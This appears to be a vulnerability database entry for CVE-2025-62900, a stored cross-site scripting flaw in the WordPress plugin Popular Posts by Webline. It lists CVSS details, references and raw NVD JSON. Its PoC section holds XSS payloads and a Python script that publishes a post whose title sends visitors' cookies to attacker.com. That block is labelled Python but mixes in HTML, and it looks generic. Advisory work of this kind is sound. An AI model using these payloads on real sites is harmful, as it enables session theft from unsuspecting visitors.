CVE-2025-62900

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WeblineIndia Popular Posts by Webline popular-posts-by-webline allows Stored XSS.This issue affects Popular Posts by Webline: from n/a through <= 1.1.1.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Popular Posts by Webline <= 1.1.1 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-62900 PoC - Stored XSS in Popular Posts by Webline -->
<!-- 步骤1: 以低权限用户身份登录WordPress -->
<!-- 步骤2: 创建新文章，在标题或内容中插入以下XSS payload -->
<script>alert('XSS by CVE-2025-62900')</script>
<!-- 或使用其他XSS向量 -->
<img src=x onerror=console.log(document.cookie)>
<!-- 步骤3: 发布文章，等待其成为热门文章 -->
<!-- 步骤4: 当其他用户访问网站时，恶意脚本将在其浏览器中执行 -->

<!-- 自动化测试脚本示例 (Python) -->
import requests

target_url = 'http://target-wordpress-site.com'
login_url = f'{target_url}/wp-login.php'
post_url = f'{target_url}/wp-json/wp/v2/posts'

session = requests.Session()

# 登录
login_data = {
    'log': 'attacker_username',
    'pwd': 'attacker_password',
    'wp-submit': 'Login'
}
session.post(login_url, data=login_data)

# 创建包含XSS payload的文章
xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'
post_data = {
    'title': xss_payload,
    'content': 'Test content for CVE-2025-62900',
    'status': 'publish'
}
response = session.post(post_url, json=post_data)
print('XSS payload published - PoC for CVE-2025-62900')

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62900
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62900
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62900/
[4] VulDB https://vuldb.com/cve/CVE-2025-62900
[5] https://patchstack.com/database/Wordpress/Plugin/popular-posts-by-webline/vulnerability/wordpress-popular-posts-by-webline-plugin-1-1-1-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-62900", "sourceIdentifier": "[email protected]", "published": "2025-10-27T02:15:49.190", "lastModified": "2026-04-27T18:16:28.667", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WeblineIndia Popular Posts by Webline popular-posts-by-webline allows Stored XSS.This issue affects Popular Posts by Webline: from n/a through <= 1.1.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/popular-posts-by-webline/vulnerability/wordpress-popular-posts-by-webline-plugin-1-1-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}